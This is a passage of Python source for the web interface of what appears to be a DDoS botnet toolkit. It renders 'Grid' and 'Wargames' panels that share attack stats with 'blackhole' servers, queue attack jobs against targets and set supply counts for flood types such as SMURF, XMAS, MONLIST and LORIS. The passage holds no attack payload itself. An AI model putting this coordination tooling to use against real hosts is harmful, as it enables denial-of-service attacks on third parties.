  1149. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1150. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1151. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1152. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1153. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1154. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1155. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1156. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1157. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1158. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  1159. try:
  1160. grid_id = m[11] # id (plain id)
  1161. except:
  1162. grid_id = "invalid!"
  1163. elif version == 10: # v0.9
  1164. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  1165. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1166. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1167. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1168. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1169. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1170. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1171. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1172. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1173. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1174. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1175. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1176. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1177. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1178. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1179. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1180. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1181. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1182. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1183. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1184. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1185. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1186. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1187. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1188. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1189. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1190. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1191. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1192. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1193. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1194. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1195. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1196. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  1197. try:
  1198. grid_id = m[10] # id (plain id)
  1199. except:
  1200. grid_id = "invalid!"
  1201. else: # no valid version
  1202. pass
  1203. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  1204. else: # not valid stream data
  1205. pass
  1206. grid_table += "</table>"
  1207. if mothership_members == 0:
  1208. mothership_members = "¿?"
  1209. if unknown_members == 0:
  1210. unknown_members = "¿?"
  1211. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  1212. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr><tr><td>FRAGGLE:</td><td>¿?</td><td>SNIPER:</td><td>¿?</td><td>UFOACK:</td><td>¿?</td><td>UFORST:</td><td>¿?</td></tr><tr><td>DROPER:</td><td>¿?</td><td>OVERLAP:</td><td>¿?</td><td>PINGER:</td><td>¿?</td><td>UFOUDP:</td><td>¿?</td></tr></table><br><hr><br>"
  1213. grid_table = mother_grid + grid_table + "</div>"
  1214. return grid_table
  1215. def html_grid(self):
  1216. if self.ranking == "Rookie": # Rookie
  1217. your_ranking = "<font color='white'>Rookie [*]</font>"
  1218. elif self.ranking == "Mercenary": # Mercenary
  1219. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  1220. elif self.ranking == "Bandit": # Bandit
  1221. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  1222. elif self.ranking == "UFOmmander!": # UFOmmander!
  1223. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  1224. elif self.ranking == "UFOl33t!": # UFOl33t!
  1225. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  1226. else:
  1227. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  1228. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  1229. device_state = "OFF"
  1230. device = "GRID device: <font color='red'>OFF</font><br>"
  1231. else:
  1232. device_state = "ON"
  1233. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  1234. data = json.load(gridcfg_json_file)
  1235. gridcfg_json_file.close()
  1236. grid_token = data["grid_token"]
  1237. grid_contact = data["grid_contact"]
  1238. grid_contact.encode('utf-8')
  1239. grid_nick = data["grid_nick"]
  1240. grid_nick.encode('utf-8')
  1241. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  1242. if device_state == "OFF":
  1243. grid_panel = ""
  1244. else:
  1245. grid_table = self.generate_grid()
  1246. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  1247. if device_state == "OFF":
  1248. dec_panel = ""
  1249. else:
  1250. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  1251. if device_state == "OFF":
  1252. sync_panel = ""
  1253. else:
  1254. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  1255. if device_state == "OFF":
  1256. transfer_panel = ""
  1257. else:
  1258. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  1259. if device_state == "OFF":
  1260. remove_grid = ""
  1261. else:
  1262. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  1263. return self.pages["/header"] + """<script language="javascript">
  1264. function GridProfile() {
  1265. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1266. }
  1267. function RemoveGrid() {
  1268. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1269. }
  1270. function Stats() {
  1271. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1272. }
  1273. function Sync_panel(){
  1274. document.getElementById("sync_panel_block").style.display = "block";
  1275. document.getElementById("dec_panel").style.display = "none";
  1276. document.getElementById("transfer_panel").style.display = "none";
  1277. }
  1278. function SyncGrid(){
  1279. grid_source=document.getElementById("grid_source").value
  1280. if(grid_source == "") {
  1281. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1282. return
  1283. }else{
  1284. params="grid_source="+escape(grid_source)
  1285. runCommandX("cmd_sync_grid",params)
  1286. setTimeout("location.reload()", 10000)
  1287. }
  1288. }
  1289. function Transfer_panel(){
  1290. document.getElementById("transfer_panel").style.display = "block";
  1291. document.getElementById("sync_panel_block").style.display = "none";
  1292. document.getElementById("dec_panel").style.display = "none";
  1293. }
  1294. function TransferGrid() {
  1295. grid_source=document.getElementById("grid_source_upload").value
  1296. grid_key=document.getElementById("grid_key_upload").value
  1297. if(grid_source == "") {
  1298. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1299. return
  1300. }else{
  1301. if(grid_key == "") {
  1302. window.alert("You need to enter a valid key (provided by someone)");
  1303. return
  1304. }else{
  1305. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1306. runCommandX("cmd_transfer_grid",params)
  1307. setTimeout("location.reload()", 10000)
  1308. }
  1309. }
  1310. }
  1311. function Decryption_panel(){
  1312. document.getElementById("dec_panel").style.display = "block";
  1313. document.getElementById("transfer_panel").style.display = "none";
  1314. document.getElementById("sync_panel_block").style.display = "none";
  1315. }
  1316. function Decrypt_grid(){
  1317. grid_key=document.getElementById("grid_key").value
  1318. if(grid_key == "") {
  1319. window.alert("You need to enter a valid key (provided by someone)");
  1320. return
  1321. }else{
  1322. params="grid_key="+escape(grid_key)
  1323. runCommandX("cmd_decrypt_grid",params)
  1324. panel_enc = document.getElementById("grid_panel_enc").style.display
  1325. if(panel_enc == "block"){
  1326. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1327. }
  1328. }
  1329. }
  1330. function GridFilter(filter, key){
  1331. params="filter="+escape(filter)+"&key="+escape(key)
  1332. runCommandX("cmd_grid_filter", params)
  1333. setTimeout("Decrypt_grid()", 2000)
  1334. }
  1335. </script>
  1336. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1337. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1338. <br><center>
  1339. <table cellpadding="5" cellspacing="5"><tr>
  1340. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Crypto-Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1341. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1342. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1343. """ + self.pages["/footer"]
  1344. def generate_wargames(self):
  1345. with open(self.wargames_file) as f:
  1346. for line in f:
  1347. line = line.strip()
  1348. f.close()
  1349. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1350. for m in self.list_wargames: # list = creation, target, estimated
  1351. if wargames_msg_sep in m:
  1352. m = m.split(wargames_msg_sep)
  1353. wargame_creation = m[0][0:12] # creation date
  1354. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1355. wargame_target = m[1][0:12] # target (obfuscation)
  1356. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1357. wargame_estimated = m[2][0:12] # estimated date
  1358. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1359. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1360. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1361. wargame_status = wargame_state # status (obfuscated like state)
  1362. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1363. wargames_table += "</table>"
  1364. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1365. wargames_table = mother_wargame + wargames_table + "</div>"
  1366. return wargames_table
  1367. def html_wargames(self):
  1368. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1369. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1370. wargames_table = self.generate_wargames()
  1371. return self.pages["/header"] + """<script language="javascript">
  1372. function Decrypt_wargames(){
  1373. wargames_deckey=document.getElementById("wargames_deckey").value
  1374. if(wargames_deckey == "") {
  1375. window.alert("You need to enter a valid key (provided by someone)");
  1376. return
  1377. }else{
  1378. params="wargames_deckey="+escape(wargames_deckey)
  1379. runCommandX("cmd_decrypt_wargames",params)
  1380. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1381. if(panel_enc == "block"){
  1382. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1383. }
  1384. }
  1385. }
  1386. function SyncWargames(){
  1387. wargames_source=document.getElementById("wargames_source").value
  1388. if(wargames_source == "") {
  1389. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1390. return
  1391. }else{
  1392. params="wargames_source="+escape(wargames_source)
  1393. runCommandX("cmd_sync_wargames",params)
  1394. setTimeout("location.reload()", 10000)
  1395. }
  1396. }
  1397. function Send() {
  1398. wargames_source2=document.getElementById("wargames_source2").value
  1399. wargames_enckey=document.getElementById("wargames_enckey").value
  1400. wargames_target=document.getElementById("wargames_target").value
  1401. wargames_estimated=document.getElementById("wargames_estimated").value
  1402. if(wargames_source2 == "") {
  1403. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1404. return
  1405. }else{
  1406. if(wargames_enckey == "") {
  1407. window.alert("You need to enter a valid key (provided by someone)");
  1408. return
  1409. }else{
  1410. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1411. runCommandX("cmd_transfer_wargame",params)
  1412. setTimeout("location.reload()", 10000)
  1413. }
  1414. }
  1415. }
  1416. function JobRemove(id) {
  1417. params="id="+escape(id)
  1418. runCommandX("cmd_job_remove",params)
  1419. setTimeout("Decrypt_wargames()", 2000)
  1420. }
  1421. function JobAdd(id) {
  1422. params="id="+escape(id)
  1423. runCommandX("cmd_job_add", params)
  1424. setTimeout("Decrypt_wargames()", 2000)
  1425. }
  1426. function JobAddAll() {
  1427. runCommandX("cmd_job_add_all")
  1428. setTimeout("Decrypt_wargames()", 2000)
  1429. }
  1430. function JobCancel(id) {
  1431. params="id="+escape(id)
  1432. runCommandX("cmd_job_cancel", params)
  1433. setTimeout("Decrypt_wargames()", 2000)
  1434. }
  1435. function JobRemoveAll(key) {
  1436. params="key="+escape(key)
  1437. runCommandX("cmd_job_remove_all", params)
  1438. setTimeout("Decrypt_wargames()", 2000)
  1439. }
  1440. function JobCancelAll() {
  1441. runCommandX("cmd_job_cancel_all")
  1442. setTimeout("Decrypt_wargames()", 2000)
  1443. }
  1444. function JobFilter(filter, key) {
  1445. params="filter="+escape(filter)+"&key="+escape(key)
  1446. runCommandX("cmd_job_filter", params)
  1447. setTimeout("Decrypt_wargames()", 2000)
  1448. }
  1449. function EditSupply(){
  1450. if(document.getElementById("supply_edit").value == "EDIT"){
  1451. document.getElementById("supply_botnet").readOnly = false;
  1452. document.getElementById("supply_loic").readOnly = false;
  1453. document.getElementById("supply_loris").readOnly = false;
  1454. document.getElementById("supply_ufosyn").readOnly = false;
  1455. document.getElementById("supply_spray").readOnly = false;
  1456. document.getElementById("supply_smurf").readOnly = false;
  1457. document.getElementById("supply_xmas").readOnly = false;
  1458. document.getElementById("supply_nuke").readOnly = false;
  1459. document.getElementById("supply_tachyon").readOnly = false;
  1460. document.getElementById("supply_monlist").readOnly = false;
  1461. document.getElementById("supply_fraggle").readOnly = false;
  1462. document.getElementById("supply_sniper").readOnly = false;
  1463. document.getElementById("supply_ufoack").readOnly = false;
  1464. document.getElementById("supply_uforst").readOnly = false;
  1465. document.getElementById("supply_droper").readOnly = false;
  1466. document.getElementById("supply_overlap").readOnly = false;
  1467. document.getElementById("supply_pinger").readOnly = false;
  1468. document.getElementById("supply_ufoudp").readOnly = false;
  1469. document.getElementById("supply_edit").title = "Set global army supply..."
  1470. document.getElementById("supply_edit").value = "SET"
  1471. document.getElementById("supply_edit").innerHTML = "SET!"
  1472. }else{
  1473. supply_botnet=document.getElementById("supply_botnet").value
  1474. supply_loic=document.getElementById("supply_loic").value
  1475. supply_loris=document.getElementById("supply_loris").value
  1476. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1477. supply_spray=document.getElementById("supply_spray").value
  1478. supply_smurf=document.getElementById("supply_smurf").value
  1479. supply_xmas=document.getElementById("supply_xmas").value
  1480. supply_nuke=document.getElementById("supply_nuke").value
  1481. supply_tachyon=document.getElementById("supply_tachyon").value
  1482. supply_monlist=document.getElementById("supply_monlist").value
  1483. supply_fraggle=document.getElementById("supply_fraggle").value
  1484. supply_sniper=document.getElementById("supply_sniper").value
  1485. supply_ufoack=document.getElementById("supply_ufoack").value
  1486. supply_uforst=document.getElementById("supply_uforst").value
  1487. supply_droper=document.getElementById("supply_droper").value
  1488. supply_overlap=document.getElementById("supply_overlap").value
  1489. supply_pinger=document.getElementById("supply_pinger").value
  1490. supply_ufoudp=document.getElementById("supply_ufoudp").value
  1491. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1492. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1493. return
  1494. }else{
  1495. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1496. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1497. return
  1498. }else{
  1499. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1500. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1501. return
  1502. }else{
  1503. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1504. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1505. return
  1506. }else{
  1507. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1508. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1509. return
  1510. }else{
  1511. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1512. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1513. return
  1514. }else{
  1515. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1516. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1517. return
  1518. }else{
  1519. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1520. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1521. return
  1522. }else{
  1523. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1524. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1525. return
  1526. }else{
  1527. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1528. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1529. return
  1530. }else{
  1531. if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) {
  1532. window.alert("You need to enter a valid FRAGGLE supply number (int>=0)");
  1533. return
  1534. }else{
  1535. if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) {
  1536. window.alert("You need to enter a valid SNIPER supply number (int>=0)");
  1537. return
  1538. }else{
  1539. if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) {
  1540. window.alert("You need to enter a valid UFOACK supply number (int>=0)");
  1541. return
  1542. }else{
  1543. if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) {
  1544. window.alert("You need to enter a valid UFORST supply number (int>=0)");
  1545. return
  1546. }else{
  1547. if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) {
  1548. window.alert("You need to enter a valid DROPER supply number (int>=0)");
  1549. return
  1550. }else{
  1551. if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) {
  1552. window.alert("You need to enter a valid OVERLAP supply number (int>=0)");
  1553. return
  1554. }else{
  1555. if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) {
  1556. window.alert("You need to enter a valid PINGER supply number (int>=0)");
  1557. return
  1558. }else{
  1559. if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) {
  1560. window.alert("You need to enter a valid UFOUDP supply number (int>=0)");
  1561. return
  1562. }else{
  1563. document.getElementById("supply_botnet").readOnly = true;
  1564. document.getElementById("supply_loic").readOnly = true;
  1565. document.getElementById("supply_loris").readOnly = true;
  1566. document.getElementById("supply_ufosyn").readOnly = true;
  1567. document.getElementById("supply_spray").readOnly = true;
  1568. document.getElementById("supply_smurf").readOnly = true;
  1569. document.getElementById("supply_xmas").readOnly = true;
  1570. document.getElementById("supply_nuke").readOnly = true;
  1571. document.getElementById("supply_tachyon").readOnly = true;
  1572. document.getElementById("supply_monlist").readOnly = true;
  1573. document.getElementById("supply_fraggle").readOnly = true;
  1574. document.getElementById("supply_sniper").readOnly = true;
  1575. document.getElementById("supply_ufoack").readOnly = true;
  1576. document.getElementById("supply_uforst").readOnly = true;
  1577. document.getElementById("supply_droper").readOnly = true;
  1578. document.getElementById("supply_overlap").readOnly = true;
  1579. document.getElementById("supply_pinger").readOnly = true;
  1580. document.getElementById("supply_ufoudp").readOnly = true;
  1581. document.getElementById("supply_edit").title = "Edit global army supply..."
  1582. document.getElementById("supply_edit").value = "EDIT"
  1583. document.getElementById("supply_edit").innerHTML = "EDIT"
  1584. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp)
  1585. runCommandX("cmd_edit_supply",params)
  1586. setTimeout("Decrypt_wargames()", 2000)
  1587. }
  1588. }
  1589. }
  1590. }
  1591. }
  1592. }
  1593. }
  1594. }
  1595. }
  1596. }
  1597. }
  1598. }
  1599. }
  1600. }
  1601. }
  1602. }
  1603. }
  1604. }
  1605. }
  1606. }
  1607. </script>
  1608. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1609. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1610. <br>
  1611. <center>
  1612. <table cellpadding="5" cellspacing="5"><tr>
